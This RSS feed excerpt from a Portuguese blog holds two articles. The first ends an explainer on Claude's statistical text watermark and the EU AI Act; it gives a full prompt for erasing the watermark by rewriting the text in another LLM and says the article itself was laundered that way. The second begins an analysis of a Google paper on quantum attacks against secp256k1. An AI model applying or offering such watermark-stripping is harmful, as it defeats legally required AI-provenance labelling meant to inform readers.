<li><strong>A origem é a lei europeia, o AI Act.</strong> A Anthropic assinou o código de transparência europeu e resolveu carimbar no mundo inteiro; o porquê vem adiante.</li>
<li><strong>Uma passada por outro LLM apaga o carimbo.</strong> O sinal mora nas escolhas de palavra do Claude; quando outro modelo reescreve o texto, até um fraquinho local, as escolhas viram outras e o padrão se dissolve. A própria Anthropic reconhece.</li>
</ul>
<p>Cada ponto em detalhe a seguir.</p>
<h2>O que é esse watermark, de verdade<span class="hx:absolute hx:-mt-20" id="o-que-é-esse-watermark-de-verdade"></span>
    <a href="#o-que-%c3%a9-esse-watermark-de-verdade" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Pode tirar da cabeça caractere Unicode invisível, espaço escondido no meio da linha, fonte alterada. O watermark da Anthropic é <a href="https://www.anthropic.com/news/claude-text-watermark"target="_blank" rel="noopener">estatístico</a>: ele atua na hora em que o Claude decide qual palavra usar, justamente nos pontos em que várias palavras serviriam igualmente bem.</p>
<p>Todo modelo de linguagem monta texto palavra por palavra, tirando a próxima de uma lista de candidatos prováveis. Quando duas ou três servem igual, um número aleatório decide. O watermark muda a origem desse acaso: o número passa a derivar de uma chave secreta combinada com as palavras anteriores. O método é herdado do <a href="https://ai.google.dev/responsible/docs/safeguards/synthid"target="_blank" rel="noopener">SynthID-Text</a>, do Google DeepMind.</p>
<p>Um exemplo concreto. Falando do tempo, &ldquo;o céu estava nublado&rdquo; e &ldquo;o céu estava cinzento&rdquo; transmitem a mesma informação. Nesses encontros de sinônimos, a chave inclina o Claude pra um lado com mais frequência do que o puro azar inclinaria. Cada escolha isolada passa despercebida, mas um texto longo repete esse ponto de decisão centenas de vezes, e o conjunto acaba formando uma assinatura estatística.</p>
<p>O comunicado da Anthropic é direto: <strong>o texto não ganha nada, e nenhum caractere fica oculto</strong>. O custo segue o mesmo porque nenhum token extra é gerado, e a leitura fica idêntica. Quem segura a chave roda um detector, compara a sequência de palavras com as escolhas típicas do Claude e recebe de volta uma probabilidade de o texto ter saído dele.</p>
<p>E o que a marca prova se resume a isso: o Claude <strong>esteve envolvido</strong> em algum momento. Ela não distingue um texto escrito do zero pelo modelo de um texto que ele só editou com peso. Sobre você, nada fica registrado: sem usuário, sem empresa, sem conversa identificada.</p>
<p>O carimbo vale pro texto do Claude.ai, da API, do Claude Code e dos demais produtos. Em código ele aparece menos, já que código raramente permite trocar um termo por outro equivalente. Arquivos e imagens seguem caminho distinto, um metadado assinado chamado C2PA, em vez deste watermark de texto. E a limitação importa: em trecho curto ou altamente factual, onde quase não existe escolha de palavra, o detector enfraquece.</p>
<h2>Por que tanta gente cancelou<span class="hx:absolute hx:-mt-20" id="por-que-tanta-gente-cancelou"></span>
    <a href="#por-que-tanta-gente-cancelou" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>O estopim somou três ingredientes: caráter obrigatório, alcance global e ausência de opt-out. A marca não se desliga e vale fora da Europa também. Uma leva de assinantes do Claude Max <a href="https://www.forbes.com/sites/maryroeloffs/2026/08/11/claude-will-put-invisible-watermarks-on-ai-text-and-images-and-the-internet-isnt-happy/"target="_blank" rel="noopener">cancelou citando controle e autoria</a> do próprio material.</p>
<p>O receio é concreto, no campo profissional e no acadêmico. Rascunhar com o Claude e assinar o resultado como seu vira risco se, adiante, um detector apontar &ldquo;passou por IA&rdquo;. A <a href="https://gizmodo.com/anthropic-explains-its-watermark-system-as-some-claude-users-loudly-revolt-2000799022"target="_blank" rel="noopener">Anthropic respondeu com um post</a> garantindo que a marca preserva leitura, sentido e qualidade, apenas sinalizando processamento. Nem todo mundo se convenceu.</p>
<h2>A lei europeia por trás do carimbo<span class="hx:absolute hx:-mt-20" id="a-lei-europeia-por-trás-do-carimbo"></span>
    <a href="#a-lei-europeia-por-tr%c3%a1s-do-carimbo" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>O carimbo nasceu de uma obrigação concreta. O <a href="https://artificialintelligenceact.eu/article/50/"target="_blank" rel="noopener">Artigo 50 do AI Act</a> exige que provedores de sistemas de IA geradora marquem a saída em formato legível por máquina, de modo que o conteúdo artificial dê pra identificar como tal. A obrigação passou a valer em 2 de agosto de 2026, e descumprir custa caro: multa de até €15 milhões ou 3% do faturamento global anual.</p>
<p>A Anthropic tinha assinado, em julho de 2026, o Código de Prática de Transparência pra Conteúdo Gerado por IA da Comissão Europeia, junto com outros grandes provedores de modelo, num grupo de cerca de 190 signatários. Os demais também vão implementar as próprias marcas d&rsquo;água, cada um com sua chave e seu método.</p>
<p>Sobrou pra Anthropic uma decisão: restringir a marcação à Europa ou estender ao planeta. A empresa afirma ainda não ter um jeito durável de limitar a marca por região, então escolheu carimbar tudo, em todo lugar, desde o primeiro dia. Daí o carimbo aparecer no texto de assinantes brasileiros e japoneses, que nada têm a ver com a lei europeia.</p>
<h2>Dá pra remover passando o texto por outro LLM?<span class="hx:absolute hx:-mt-20" id="dá-pra-remover-passando-o-texto-por-outro-llm"></span>
    <a href="#d%c3%a1-pra-remover-passando-o-texto-por-outro-llm" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Essa é a pergunta que mais chega pra mim. Resposta curta: dá, e é fácil. O sinal mora nas escolhas de palavra do Claude; quando outro modelo reescreve o texto, as escolhas passam a ser dele, e o padrão estatístico se desfaz.</p>
<p>A própria Anthropic admite. Retoque leve provavelmente deixa pedaço da marca, mas <strong>a reescrita completa, com cada palavra trocada, elimina o sinal</strong>. A lógica é simples: o detector mede quais sinônimos o Claude preferiu; se outro modelo escolheu os sinônimos dele, não sobra nada do Claude pra medir.</p>
<p>A academia confirma o rumo. <a href="https://arxiv.org/abs/2508.20228"target="_blank" rel="noopener">Testes de robustez do SynthID</a>, feitos na Queen&rsquo;s University, partem de detecção perfeita sem ataque e mostram a taxa caindo pra volta de 84% depois de um parafraseador dedicado, e pra menos de 70% com tradução de ida e volta. Quanto mais agressiva a reescrita, mais o sinal degrada.</p>
<p>E sim, a intuição está certa: <strong>um modelo modesto, até local, resolve</strong>. Rearranjar texto preservando o sentido é serviço que dispensa raciocínio profundo. Um GLM, um Kimi, um Llama pequeno rodando na sua máquina reescreve o parágrafo e apaga a assinatura no caminho. Trocar &ldquo;nublado&rdquo; por &ldquo;cinzento&rdquo; mil vezes está longe de pedir o modelo mais esperto do mercado.</p>
<p>Dois poréns honestos. A reescrita precisa ser genuína, palavra por palavra; uma passada de corretor ortográfico fica longe de contar. E tudo isso vale pro watermark de texto: arquivos e imagens carregam o tal metadado C2PA, que sai por outro método, limpando os metadados do arquivo.</p>
<h2>Que prompt faria isso<span class="hx:absolute hx:-mt-20" id="que-prompt-faria-isso"></span>
    <a href="#que-prompt-faria-isso" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Somando os critérios do watermark, o prompt de remoção quase se monta sozinho. A marca habita escolhas de sinônimo e de estrutura, resiste a edição leve e depende de texto com certa extensão. Logo, o prompt precisa exigir troca máxima de vocabulário e de estrutura, segurando o sentido no lugar.</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">Reescreva o texto a seguir na íntegra, com palavras suas.
</span></span><span class="line"><span class="cl">Substitua o vocabulário e reorganize as frases do início ao fim:
</span></span><span class="line"><span class="cl">escolha outros sinônimos, mude a ordem das orações, varie a construção.
</span></span><span class="line"><span class="cl">Mantenha exatamente o sentido, os fatos e o tom.
</span></span><span class="line"><span class="cl">Evite reproduzir qualquer expressão literal do original.
</span></span><span class="line"><span class="cl">Entregue somente o texto reescrito.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">Texto:
</span></span><span class="line"><span class="cl">&#34;&#34;&#34;
</span></span><span class="line"><span class="cl">&lt;cole aqui o texto do Claude&gt;
</span></span><span class="line"><span class="cl">&#34;&#34;&#34;</span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Cada linha mira um critério. &ldquo;Com palavras suas&rdquo; e &ldquo;substitua o vocabulário&rdquo; desmontam os encontros de sinônimo onde a marca se esconde. &ldquo;Reorganize as frases&rdquo; e &ldquo;mude a ordem das orações&rdquo; quebram a sequência de palavras que o detector compara. &ldquo;Evite reproduzir expressão literal&rdquo; tapa as frestas que uma edição leve deixaria abertas.</p>
<p>Nada de mágica aqui, e é assim por desenho. A Anthropic conhece o limite e fala claro: a marca é macia, atesta que o Claude encostou no texto e desaparece diante de uma reescrita séria. Funciona como rótulo de proveniência num mundo em que a maioria jamais vai se dar ao trabalho de apagar; contra quem decide apagar, o sinal é fraco.</p>
<h2>Onde isso deixa a gente<span class="hx:absolute hx:-mt-20" id="onde-isso-deixa-a-gente"></span>
    <a href="#onde-isso-deixa-a-gente" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>No meu balanço, o watermark assusta menos e pode menos do que os dois lados do berreiro anunciam. Ele é invisível, carrega zero dado seu e prova, no limite, que o Claude passou pelo texto. Uma reescrita em qualquer modelo o dissolve. É um rótulo de proveniência deliberadamente fraco, desenhado pra cumprir a lei europeia.</p>
<p>Ainda assim, cancelar por causa dele segue uma lógica que entendo. Marcação compulsória, planetária, sem porta de saída, irrita quem paga pela ferramenta. E dos cerca de 190 signatários do Código europeu, o Claude foi o que chegou primeiro às manchetes, absorvendo sozinho a onda de revolta.</p>
<p>Quem só quer usar o Claude e seguir a vida quase não sente diferença no dia a dia. Quem precisa que o texto não grite &ldquo;IA&rdquo; resolve com um parágrafo reescrito num modelo local, e a receita está com a própria Anthropic. O barulho ficou bem maior que o buraco.</p>
<h2>Como este texto foi feito<span class="hx:absolute hx:-mt-20" id="como-este-texto-foi-feito"></span>
    <a href="#como-este-texto-foi-feito" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Transparência combina com o assunto. O primeiro rascunho deste artigo foi escrito pelo Claude. Em seguida o Kimi fez a checagem de fatos, afirmação por afirmação, contra as fontes originais, e pegou uma estatística inventada no meio do caminho, que a gente corrigiu. Por fim, o GLM reescreveu o texto inteiro, palavra por palavra, seguindo a receita das seções acima.</p>
<p>Ou seja: o artigo aplica nele mesmo o que ensina. Saiu do Claude, passou pelo crivo do Kimi e voltou com o vocabulário e a construção do GLM. Se o rascunho original carregava o watermark, a reescrita completa trocou as escolhas de palavra, e com elas o sinal. Sem detector público, ninguém consegue conferir de fora; a receita, essa, qualquer um pode testar.</p>
]]></content:encoded><category>llms</category><category>seguranca</category><category>leis-e-regulacao</category></item><item><title>O que significa o Paper do Google sobre Vulnerabilidade Quântica</title><link>https://www.akitaonrails.com/2026/08/16/o-que-significa-o-paper-do-google-sobre-vulnerabilidade-quantica/</link><guid isPermaLink="true">https://www.akitaonrails.com/2026/08/16/o-que-significa-o-paper-do-google-sobre-vulnerabilidade-quantica/</guid><pubDate>Sun, 16 Aug 2026 10:00:00 GMT</pubDate><description>&lt;p&gt;Saiu um paper do Google e a manchete previsível veio junto: &amp;ldquo;computador quântico vai quebrar o Bitcoin&amp;rdquo;. Do outro lado, a turma do &amp;ldquo;isso é FUD, ignora&amp;rdquo; respondeu no mesmo volume. As duas reações estão erradas, e o paper em si é bem mais interessante que qualquer um dos dois gritos.&lt;/p&gt;
&lt;p&gt;O documento se chama &lt;a href="https://arxiv.org/abs/2603.28846"target="_blank" rel="noopener"&gt;Securing Elliptic Curve Cryptocurrencies against Quantum Vulnerabilities&lt;/a&gt;, e a lista de autores por si só já obriga a levar a sério: é o Google Quantum AI (com Craig Gidney, o mesmo das estimativas recentes pra quebrar &lt;a href="https://pt.wikipedia.org/wiki/RSA_%28sistema_criptogr%C3%A1fico%29"target="_blank" rel="noopener"&gt;RSA&lt;/a&gt;), mais a Ethereum Foundation (Justin Drake) e Stanford (Dan Boneh, um dos pais da &lt;a href="https://pt.wikipedia.org/wiki/Criptografia_de_curva_el%C3%ADptica"target="_blank" rel="noopener"&gt;criptografia de curva elíptica&lt;/a&gt;). É gente que constrói computador quântico sentada na mesma mesa que gente que inventou boa parte da criptografia que roda hoje. Peso raro pra um assunto que costuma atrair muito chute de quem nunca leu uma linha do que critica.&lt;/p&gt;</description><content:encoded><![CDATA[<p>Saiu um paper do Google e a manchete previsível veio junto: &ldquo;computador quântico vai quebrar o Bitcoin&rdquo;. Do outro lado, a turma do &ldquo;isso é FUD, ignora&rdquo; respondeu no mesmo volume. As duas reações estão erradas, e o paper em si é bem mais interessante que qualquer um dos dois gritos.</p>
<p>O documento se chama <a href="https://arxiv.org/abs/2603.28846"target="_blank" rel="noopener">Securing Elliptic Curve Cryptocurrencies against Quantum Vulnerabilities</a>, e a lista de autores por si só já obriga a levar a sério: é o Google Quantum AI (com Craig Gidney, o mesmo das estimativas recentes pra quebrar <a href="https://pt.wikipedia.org/wiki/RSA_%28sistema_criptogr%C3%A1fico%29"target="_blank" rel="noopener">RSA</a>), mais a Ethereum Foundation (Justin Drake) e Stanford (Dan Boneh, um dos pais da <a href="https://pt.wikipedia.org/wiki/Criptografia_de_curva_el%C3%ADptica"target="_blank" rel="noopener">criptografia de curva elíptica</a>). É gente que constrói computador quântico sentada na mesma mesa que gente que inventou boa parte da criptografia que roda hoje. Peso raro pra um assunto que costuma atrair muito chute de quem nunca leu uma linha do que critica.</p>
<p>Antes de qualquer coisa: <strong>leia o paper direto</strong>. Ele é longo, denso, mas escrito com um cuidado raro, inclusive num esforço explícito de não virar FUD.</p>
<p>O que eu faço aqui é minha própria leitura, depois comparo com o que o GLM, o Kimi e o ChatGPT acharam quando pedi pra eles rasgarem o texto, e no fim tento responder a pergunta que interessa pra quem tem meia dúzia de satoshis ou de ether na carteira: qual é, no mundo real, a chance de um computador quântico roubar dinheiro seu nos próximos anos?</p>
<p>Adianto o espírito da coisa: o céu não está caindo. Mas o recado de &ldquo;comece a se mexer agora&rdquo; tem fundamento, e a razão é mais sutil do que &ldquo;o quântico vem aí&rdquo;.</p>
<p>O resumo, pra quem tem pressa:</p>
<ul>
<li><strong>O paper é sério e a conta fecha.</strong> Google, Ethereum Foundation e Stanford mostram que quebrar a secp256k1 caiu pra menos de 500 mil qubits físicos e cerca de 9 minutos, num cenário condicional já confirmado por reprodução aberta e independente.</li>
<li><strong>Isso mede o tamanho da máquina; a data continua em aberto.</strong> O melhor hardware de hoje trabalha com uns 12 qubits lógicos, e o ataque pede mais de 1.200. Pelo roteiro da IBM, o hardware do tamanho certo aparece lá por 2033.</li>
<li><strong>O Bitcoin não vai acabar.</strong> O risco atinge quem tem a chave pública exposta, um subconjunto de endereços (uns 6,9 milhões de BTC, boa parte já perdida). Carteira moderna sem reuso fica segura em repouso, e a mineração não corre risco nenhum.</li>
<li><strong>O que dá pra fazer.</strong> Como usuário, higiene de chave: endereço novo a cada uso, sem reuso (senha mais forte não ajuda contra o quântico). Como indústria, começar a migração pós-quântica agora, em camadas, sem jogar tudo fora.</li>
</ul>
<p>Abaixo, cada um desses pontos com calma: o que o paper diz, onde eu concordo e discordo dos outros modelos, a chance real com prazos, e o que fazer na prática.</p>
<h2>O que o paper realmente diz, em português de engenheiro<span class="hx:absolute hx:-mt-20" id="o-que-o-paper-realmente-diz-em-português-de-engenheiro"></span>
    <a href="#o-que-o-paper-realmente-diz-em-portugu%c3%aas-de-engenheiro" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Deixa eu tirar o jargão da frente primeiro. A segurança do Bitcoin, do Ethereum e de quase toda cripto se apoia num problema matemático: dado uma chave pública, é inviável calcular a chave privada correspondente. Todo mundo vê sua chave pública; ninguém consegue voltar dela pra sua chave privada. É essa mão única que faz uma assinatura digital valer alguma coisa.</p>
<p>O <a href="https://pt.wikipedia.org/wiki/Algoritmo_de_Shor"target="_blank" rel="noopener">algoritmo de Shor</a>, rodando num computador quântico grande o suficiente, quebra exatamente essa mão única. Ele transforma &ldquo;inviável&rdquo; em &ldquo;questão de minutos&rdquo;. Isso não é novidade desde 1994. A novidade do paper é outra, e são cinco pontos.</p>
<p><strong>Primeiro: o custo despencou.</strong> O time do Google apresenta circuitos novos pra resolver o problema da curva <a href="https://en.bitcoin.it/wiki/Secp256k1"target="_blank" rel="noopener">secp256k1</a> (a curva do Bitcoin e das contas do Ethereum) usando muito menos recurso do que se imaginava. São duas receitas: uma com menos de 1.200 qubits lógicos e 90 milhões de portas Toffoli, outra com menos de 1.450 qubits lógicos e 70 milhões de portas.</p>
<p>Em hardware supercondutor, com premissas padrão de correção de erro, isso caberia em <strong>menos de 500 mil qubits físicos</strong> — quase 20 vezes menos que estimativas anteriores — e rodaria em <strong>9 a 12 minutos</strong> a partir de um estado pré-computado. Guarde esse número: 9 minutos. Ele é o que assusta, porque é menor que o intervalo médio de um bloco do Bitcoin.</p>
<p><strong>Segundo: eles não publicaram o circuito.</strong> Aqui tem uma jogada elegante e polêmica ao mesmo tempo. Pra provar que têm um circuito daquele tamanho sem entregar a arma carregada pra qualquer um, eles publicaram uma <strong><a href="https://pt.wikipedia.org/wiki/Prova_de_conhecimento_zero"target="_blank" rel="noopener">prova de conhecimento zero</a></strong>: uma prova matemática de que possuem o circuito, sem revelar o circuito. É responsável na intenção. Só que, como eu conto mais pra frente, essa parte foi o ponto mais frágil da história.</p>
<p>Se &ldquo;prova de conhecimento zero&rdquo; soa esotérico, a ideia é simples e velha na criptografia: provar que você sabe ou tem alguma coisa sem revelar a coisa em si. Dá pra provar que você é maior de idade sem mostrar a data de nascimento, ou que sabe a senha sem digitá-la.</p>
<p>É o mesmo truque por trás da privacidade de várias criptomoedas: o Zcash usa ZK (os tais zk-SNARKs) pra validar transações blindadas sem expor valor nem endereço, o Monero usa provas de faixa (os bulletproofs) pra esconder quanto foi enviado, e os zk-rollups do Ethereum usam ZK pra comprovar que um lote de transações é válido sem reprocessar tudo. No paper, o Google usa a mesma família de ferramenta pra provar que possui o circuito, sem entregar o circuito.</p>
<p><strong>Terceiro: nem todo computador quântico serve pra tudo.</strong> O paper cria uma distinção que é a melhor contribuição prática do texto. Existe o &ldquo;relógio rápido&rdquo; (supercondutor, fotônico) e o &ldquo;relógio lento&rdquo; (íons aprisionados, átomos neutros), com uma diferença de 100 a 1.000 vezes na velocidade. Dessa velocidade saem três tipos de ataque:</p>
<ul>
<li><strong>Ataque no gasto (on-spend):</strong> o atacante intercepta sua transação no mempool, quebra a chave e injeta uma transação rival antes do seu gasto entrar num bloco. Precisa de relógio rápido, porque é uma corrida contra o relógio do bloco.</li>
<li><strong>Ataque em repouso (at-rest):</strong> a chave pública já está exposta na blockchain (carteira parada, chave reusada). O atacante tem dias ou meses pra trabalhar. Serve até relógio lento.</li>
<li><strong>Ataque na configuração (on-setup):</strong> uma única computação quântica extrai um segredo de uma cerimônia criptográfica e vira um gabarito reutilizável, que depois roda em computador clássico comum. Esse é o mais insidioso, e ataca coisas como o mecanismo de dados do Ethereum.</li>
</ul>
<p><strong>Quarto: o mapa de quem sangra.</strong> No Bitcoin, os alvos em repouso são os scripts antigos <a href="https://en.bitcoin.it/wiki/Script"target="_blank" rel="noopener">P2PK</a> (cerca de 1,7 milhão de BTC, quase tudo da era Satoshi e provavelmente perdido), o <a href="https://bitcoinops.org/en/topics/taproot/"target="_blank" rel="noopener">Taproot</a> (P2TR, que expõe a chave), e qualquer endereço reusado.</p>
<p>Somando tudo, o paper estima cerca de 6,9 milhões de BTC vulneráveis hoje, dos quais uns 2,3 milhões estão dormentes há mais de cinco anos. Os endereços modernos que escondem a chave atrás de um hash e nunca gastaram continuam seguros em repouso.</p>
<p>E tem uma boa notícia enterrada aqui: <strong>a mineração do Bitcoin não corre risco</strong>. O <a href="https://pt.wikipedia.org/wiki/Algoritmo_de_Grover"target="_blank" rel="noopener">algoritmo de Grover</a>, que atacaria a mineração, tem ganho pequeno demais e não paraleliza; o overhead de correção de erro come tudo. O paper enterra esse mito de propósito.</p>
<blockquote>
  <p><strong>A mineração do Bitcoin não corre risco. O quântico derrubando o Proof-of-Work é o mito que este paper enterra de propósito.</strong></p>

</blockquote>
<p><strong>Quinto: o Ethereum tem uma superfície bem maior.</strong> O modelo de contas expõe a chave pública permanentemente depois da primeira transação, ao contrário do modelo de UTXO do Bitcoin. Some a isso as chaves administrativas de contratos (stablecoins, pontes, oráculos), as <a href="https://en.wikipedia.org/wiki/BLS_digital_signature"target="_blank" rel="noopener">assinaturas BLS</a> que seguram o consenso <a href="https://pt.wikipedia.org/wiki/Prova_de_participa%C3%A7%C3%A3o"target="_blank" rel="noopener">Proof-of-Stake</a>, e os <a href="https://dankradfeist.de/ethereum/2020/06/16/kate-polynomial-commitments.html"target="_blank" rel="noopener">compromissos KZG</a> da camada de dados. É mais coisa exposta, e boa parte não dá pra &ldquo;trocar de endereço&rdquo; pra escapar.</p>
<p>E como o paper argumenta tudo isso? Três pernas: as estimativas de recurso (com a prova de conhecimento zero pra dar credibilidade), dados reais da blockchain (as quantidades de BTC e ETH em risco vêm de consultas públicas ao <a href="https://en.wikipedia.org/wiki/BigQuery"target="_blank" rel="noopener">BigQuery</a>), e o enquadramento honesto de que o objetivo é acender o alerta pra migrar, deixando claro que a máquina ainda está por vir.</p>
<p>O paper, aliás, <strong>não dá uma data</strong>. Ele mede o tamanho da máquina e para aí; o calendário fica em aberto.</p>
<h2>Onde eu concordo e onde discordo dos outros modelos<span class="hx:absolute hx:-mt-20" id="onde-eu-concordo-e-onde-discordo-dos-outros-modelos"></span>
    <a href="#onde-eu-concordo-e-onde-discordo-dos-outros-modelos" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Pedi pro GLM 5.3, pro Kimi K3 e pro ChatGPT (GPT 5.6) analisarem e criticarem o paper. O interessante é que os três, e eu, convergimos no essencial e divergimos exatamente nos mesmos pontos. Isso é um bom sinal: quando modelos diferentes batem no mesmo prego, o prego costuma existir.</p>
<p><strong>No que todo mundo concorda (e eu também):</strong></p>
<ul>
<li>A estimativa de recurso lógico é <strong>crível</strong>. Não é um número solto: segue a trajetória histórica (o custo pra quebrar RSA-2048 caiu de ~1 bilhão de qubits em 2012 pra menos de 1 milhão em 2025) e vem justamente do grupo que produziu as melhores estimativas da área.</li>
<li>A distinção relógio rápido / relógio lento e o par gasto / repouso é a lente certa pra pensar mitigação.</li>
<li>A imunidade da mineração é correta e precisava ser dita em voz alta.</li>
<li>Os assets dormentes são um problema real que nenhum fork de software resolve sozinho, porque ninguém tem a chave privada pra mover as moedas perdidas.</li>
</ul>
<p><strong>No que todo mundo faz ressalva (e eu reforço):</strong></p>
<p>O ChatGPT foi o mais preciso numa distinção que vale ouro: <strong>existe um abismo entre &ldquo;valor em risco&rdquo; e &ldquo;perda esperada&rdquo;</strong>. Quando o paper diz &ldquo;20,5 milhões de ETH em contas vulneráveis&rdquo; ou &ldquo;6,9 milhões de BTC expostos&rdquo;, isso mede o quanto o sistema depende de criptografia frágil. É um número bem maior do que o que um atacante conseguiria de fato roubar.</p>
<p>Tem sobreposição, tem multisig, tem chave administrativa que dá pra rotacionar, tem contrato com conselho de emergência que pausa tudo. Empilhar esses números numa manchete de &ldquo;trilhões em risco&rdquo; é desonesto com o próprio paper.</p>
<blockquote>
  <p><strong>&ldquo;Valor em risco&rdquo; mede o quanto o sistema depende de criptografia frágil. É um número bem maior do que o que um atacante conseguiria de fato roubar.</strong></p>

</blockquote>
<p>O mesmo vale pro famoso <strong>41% de chance de roubo no Bitcoin</strong>. Esse número é só a probabilidade de a computação de 9 minutos terminar antes do próximo bloco aparecer (o bloco chega em média a cada 10 minutos, mas com muita variância). Não é a chance de roubar seu dinheiro.</p>
<p>Pra roubar, o atacante ainda precisa propagar a transação rival, convencer um minerador a incluí-la, vencer a corrida de taxa. E o próprio paper assume condições favoráveis ao atacante (rede sem congestionamento, entrega instantânea). Kimi e ChatGPT batem nisso, e eu concordo.</p>
<p>O ponto mais importante, e que eu acho que o paper deixa nas entrelinhas de propósito: <strong>os 500 mil qubits físicos e os 9 minutos descrevem um cenário de engenharia condicional. De data, o paper não fala.</strong> É um projeto de máquina que <em>poderia</em> fazer o ataque, assumindo taxa de erro de 0,1%, ciclos de correção de 1 microssegundo, decodificação de baixa latência, fábricas de estado mágico suficientes, e meio milhão de qubits operando estáveis por minutos a fio.</p>
<p>Cada premissa é razoável isolada. A corrente inteira funcionando junta, nessa escala, ninguém demonstrou.</p>
<p>E aqui entra o ponto mais interessante, que o Kimi e o ChatGPT pegaram e eu confirmei buscando fora: <strong>o mecanismo da prova de conhecimento zero tinha um bug.</strong> A Trail of Bits <a href="https://blog.trailofbits.com/2026/04/17/we-beat-googles-zero-knowledge-proof-of-quantum-cryptanalysis/"target="_blank" rel="noopener">conseguiu forjar uma prova</a> explorando falhas de memória e de lógica no código Rust do verificador do Google, a ponto de gerar uma prova que reportava zero portas Toffoli pra um circuito que nem era reversível.</p>
<p>Repare no que isso quebra e no que não quebra. O furo estava no software que checa a prova, não numa demonstração de que o circuito do paper está errado. A prova deixou de ser confiável, e a alegação científica em si ficou de pé, sem prova nem contraprova. O Google corrigiu o verificador na versão 2.</p>
<p>A lição é sobre confiança: em vez de confiar na palavra do Google, a prova te pedia pra confiar no parser, no compilador e no simulador dele.</p>
<p>E é justamente por isso que a reprodução independente importa tanto. Em junho de 2026, o pesquisador André Schrottenloher <a href="https://postquantum.com/security-pqc/google-ecdlp-circuits-reproduced-open/"target="_blank" rel="noopener">refez os circuitos de forma aberta</a>, chegando na mesma região: cerca de 56 milhões de portas Toffoli, com o circuito inteiro publicado e reproduzível.</p>
<p>O próprio Gidney reconheceu que a reprodução capturou o avanço essencial, e depois disso outros já empurraram o número pra baixo de mil qubits lógicos. Ou seja: a alegação central do paper se sustentou, mas por um caminho que não depende de confiar no software de prova de ninguém. Quem fechou a conta foi a ciência aberta.</p>
<p>Um último ponto que quase ninguém levanta e eu acho que precisa ser dito: <strong>conflito de interesse.</strong> Sete autores são do Google Quantum AI, cujo roteiro de hardware é justamente a arquitetura supercondutora que o paper faz parecer a ameaça mais próxima. E tem um coautor da Ethereum Foundation num paper que classifica o Ethereum como mais exposto e recomenda migração urgente.</p>
<p>Os autores declaram posições compradas em cripto e nenhuma vendida, o que é honesto. Isso não invalida nada — a competência técnica do time é a melhor da área — mas pede leitura calibrada, de cabeça fria.</p>
<h2>A pergunta que interessa: qual a chance real, e quando?<span class="hx:absolute hx:-mt-20" id="a-pergunta-que-interessa-qual-a-chance-real-e-quando"></span>
    <a href="#a-pergunta-que-interessa-qual-a-chance-real-e-quando" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Vamos separar o teórico do real, que é onde a maioria das discussões vira sopa.</p>
<p><strong>No teórico, a resposta é sim, com folga.</strong> Se existir uma máquina grande e estável o suficiente, o algoritmo de Shor quebra a secp256k1. Do lado matemático já está resolvido; o que falta é engenharia. A pergunta toda se resume a: <em>quando essa máquina existe?</em></p>
<h3>Qubit físico contra qubit lógico<span class="hx:absolute hx:-mt-20" id="qubit-físico-contra-qubit-lógico"></span>
    <a href="#qubit-f%c3%adsico-contra-qubit-l%c3%b3gico" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>Aqui vale um parêntese pra separar dois números que confundem quase todo mundo: qubit físico e qubit lógico. O qubit físico é o hardware real, e ele é ruidoso; perde o estado num piscar, por interferência, calor, vibração. Sozinho, erra demais pra qualquer conta séria.</p>
<p>A saída é a correção de erro: você junta centenas ou milhares de qubits físicos, todos representando <strong>um</strong> único qubit lógico, e usa a redundância pra detectar e consertar os erros em tempo real. O qubit lógico é o qubit &ldquo;de verdade&rdquo;, estável, que o algoritmo enxerga.</p>
<p>E é aí que a dificuldade se esconde atrás dos números. O ataque não pede só 1.200 qubits lógicos; pede <strong>1.200 qubits lógicos funcionando juntos, todos estáveis ao mesmo tempo, por minutos a fio</strong>, executando dezenas de milhões de operações sem que o sistema de correção seja soterrado por erro.</p>
<p>É como manter mil pratos girando de uma vez, cada prato feito de mil peças que querem cair, durante a apresentação inteira. Manter um único prato desses de pé por um instante já foi o feito histórico de 2024. O salto pra mil pratos, girando por minutos, é o abismo de verdade.</p>
<h3>Onde o hardware está hoje<span class="hx:absolute hx:-mt-20" id="onde-o-hardware-está-hoje"></span>
    <a href="#onde-o-hardware-est%c3%a1-hoje" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p><strong>Na realidade de hoje, estamos longe.</strong> O próprio Google ajuda a medir a distância. O <a href="https://blog.google/innovation-and-ai/technology/research/google-willow-quantum-chip/"target="_blank" rel="noopener">Willow</a>, o chip de ponta deles, provou em 2024 correção de erro abaixo do limiar, um feito histórico. Só que o resultado foi <strong>um único qubit lógico</strong> bem corrigido, montado a partir de 101 físicos, que viveu mais que qualquer um deles.</p>
